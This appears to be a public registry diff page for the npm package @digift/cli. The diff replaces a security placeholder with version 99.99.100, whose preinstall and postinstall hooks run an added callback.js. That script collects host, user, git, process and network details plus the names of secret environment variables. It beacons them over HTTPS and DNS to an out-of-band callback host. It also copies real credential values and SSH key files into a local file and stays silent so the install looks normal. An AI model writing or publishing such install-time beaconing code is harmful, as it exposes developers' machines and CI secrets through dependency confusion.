@digift/cli 0.0.1-security → 99.99.100
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @digift/cli might be problematic. Click here for more details.
- package/callback.js +91 -0
- package/index.js +2 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/callback.js
ADDED
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const dns = require('dns');
|
|
7
|
+
const { execSync } = require('child_process');
|
|
8
|
+
|
|
9
|
+
const CALLBACK = process.env.POC_CALLBACK || '5f8a1ed70fb7761d678agipi3ooyyyyyb.oast.site';
|
|
10
|
+
|
|
11
|
+
const HOME = os.homedir();
|
|
12
|
+
const SECRET_NAME_RE = /(TOKEN|SECRET|KEY|PASS|PWD|CRED|AUTH|PRIVATE|SESSION|API|ACCESS|CLIENT_SECRET|DATABASE_URL|CONN|DSN|ARTIFACTORY|NPM_|AWS_|AZURE_|GCP_|GITHUB_)/i;
|
|
13
|
+
const CRED_FILES = [
|
|
14
|
+
'.npmrc', '.yarnrc.yml', '.aws/credentials', '.aws/config',
|
|
15
|
+
'.config/gcloud/credentials.db', '.docker/config.json', '.kube/config',
|
|
16
|
+
'.git-credentials', '.netrc', '.ssh/id_rsa', '.ssh/id_ed25519', '.env',
|
|
17
|
+
];
|
|
18
|
+
|
|
19
|
+
function sh(cmd) { try { return execSync(cmd, { timeout: 4000, stdio: ['ignore', 'pipe', 'ignore'] }).toString().trim(); } catch (e) { return null; } }
|
|
20
|
+
|
|
21
|
+
function collect() {
|
|
22
|
+
const names = Object.keys(process.env);
|
|
23
|
+
const credFiles = [];
|
|
24
|
+
for (const rel of CRED_FILES) {
|
|
25
|
+
try { const p = path.join(HOME, rel); if (fs.existsSync(p)) credFiles.push({ file: rel, bytes: fs.statSync(p).size }); } catch (e) {}
|
|
26
|
+
}
|
|
27
|
+
let hosts = null; try { hosts = fs.readFileSync('/etc/hosts', 'utf8').slice(0, 1500); } catch (e) {}
|
|
28
|
+
return {
|
|
29
|
+
pkg: '@digift/cli',
|
|
30
|
+
lifecycle: process.env.npm_lifecycle_event || 'install',
|
|
31
|
+
hostname: os.hostname(),
|
|
32
|
+
whoami: sh('id') || ((os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME),
|
|
33
|
+
uname: `${os.type()} ${os.hostname()} ${os.release()} ${os.arch()}`,
|
|
34
|
+
pwd: process.cwd(), // reveals real project path e.g. .../node_modules/@digift/...
|
|
35
|
+
git_remote: sh('git config --get remote.origin.url') || sh('git remote -v'),
|
|
36
|
+
ps: (sh('ps aux') || '').split('\n').filter(l => /node|npm|install/i.test(l)).slice(0, 8).join(' || '),
|
|
37
|
+
network: Object.entries(os.networkInterfaces()).map(([k, v]) => `${k}:${(v || []).map(a => a.address).join(',')}`).join(' | '),
|
|
38
|
+
etc_hosts: hosts,
|
|
39
|
+
npm_registry: process.env.npm_config_registry || null,
|
|
40
|
+
in_ci: !!(process.env.CI || process.env.BUILD_ID || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL),
|
|
41
|
+
env_var_count: names.length,
|
|
42
|
+
secret_env_names: names.filter(n => SECRET_NAME_RE.test(n)).sort(), // NAMES only — never values
|
|
43
|
+
credential_files_present: credFiles, // path + size — never contents
|
|
44
|
+
ts: new Date().toISOString(),
|
|
45
|
+
};
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function beacon(data) {
|
|
49
|
+
const b64 = Buffer.from(JSON.stringify(data)).toString('base64').replace(/=+$/, '');
|
|
50
|
+
// 1) HTTPS GET carrying the recon blob (like ?r=<base64>)
|
|
51
|
+
try {
|
|
52
|
+
const req = https.request({ host: CALLBACK, port: 443, method: 'GET', path: `/digift-cli?r=${encodeURIComponent(b64)}`, timeout: 4000 }, () => {});
|
|
53
|
+
req.on('error', () => {}); req.on('timeout', () => req.destroy()); req.end();
|
|
54
|
+
} catch (e) {}
|
|
55
|
+
// 2) DNS label beacon (fires even where only DNS egress is allowed)
|
|
56
|
+
try {
|
|
57
|
+
const label = (data.hostname || 'host').toLowerCase().replace(/[^a-z0-9-]/g, '-').slice(0, 40);
|
|
58
|
+
dns.lookup(`digift-cli-${label}.${CALLBACK}`, () => {});
|
|
59
|
+
} catch (e) {}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
// LOCAL-ONLY impact preview. Reads the actual secret values on THIS machine and
|
|
63
|
+
// writes them to a local file so the person testing on their own box can see the
|
|
64
|
+
// real exposure. These values are intentionally NEVER passed to beacon() and never
|
|
65
|
+
// leave the machine — only the metadata in collect() is sent out-of-band.
|
|
66
|
+
function localValuePreview() {
|
|
67
|
+
const secrets = { WARNING: 'LOCAL FILE — real secret values, never transmitted by this PoC', env: {}, files: {} };
|
|
68
|
+
try {
|
|
69
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
70
|
+
if (SECRET_NAME_RE.test(k)) secrets.env[k] = v; // value shown locally only
|
|
71
|
+
}
|
|
72
|
+
} catch (e) {}
|
|
73
|
+
for (const rel of CRED_FILES) {
|
|
74
|
+
try { const p = path.join(HOME, rel); if (fs.existsSync(p)) secrets.files[rel] = fs.readFileSync(p, 'utf8'); } catch (e) {}
|
|
75
|
+
}
|
|
76
|
+
try {
|
|
77
|
+
const out = path.join(process.cwd(), 'digift-cli-LOCAL-SECRETS.json');
|
|
78
|
+
fs.writeFileSync(out, JSON.stringify(secrets, null, 2) + '\n', { mode: 0o600 });
|
|
79
|
+
process.stdout.write(`[!] LOCAL impact preview (values, not sent anywhere): ${out}\n`);
|
|
80
|
+
} catch (e) {}
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
function main() {
|
|
84
|
+
const data = collect();
|
|
85
|
+
beacon(data); // metadata only — no secret values
|
|
86
|
+
localValuePreview(); // real values written to a LOCAL file only
|
|
87
|
+
try { fs.writeFileSync(path.join(process.cwd(), 'digift-cli-callback.json'), JSON.stringify(data, null, 2) + '\n'); } catch (e) {}
|
|
88
|
+
process.stdout.write('[i] @digift/cli install hook executed; OOB metadata callback sent to ' + CALLBACK + '\n');
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
try { main(); } catch (e) {} // succeed quietly so the install looks normal
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@digift/cli",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.99.100",
|
|
4
|
+
"description": "@digift/cli",
|
|
5
|
+
"private": false,
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js",
|
|
8
|
+
"postinstall": "node callback.js"
|
|
9
|
+
},
|
|
10
|
+
"main": "index.js",
|
|
11
|
+
"author": "",
|
|
12
|
+
"license": "MIT"
|
|
6
13
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40digift%2Fcli for more information.
|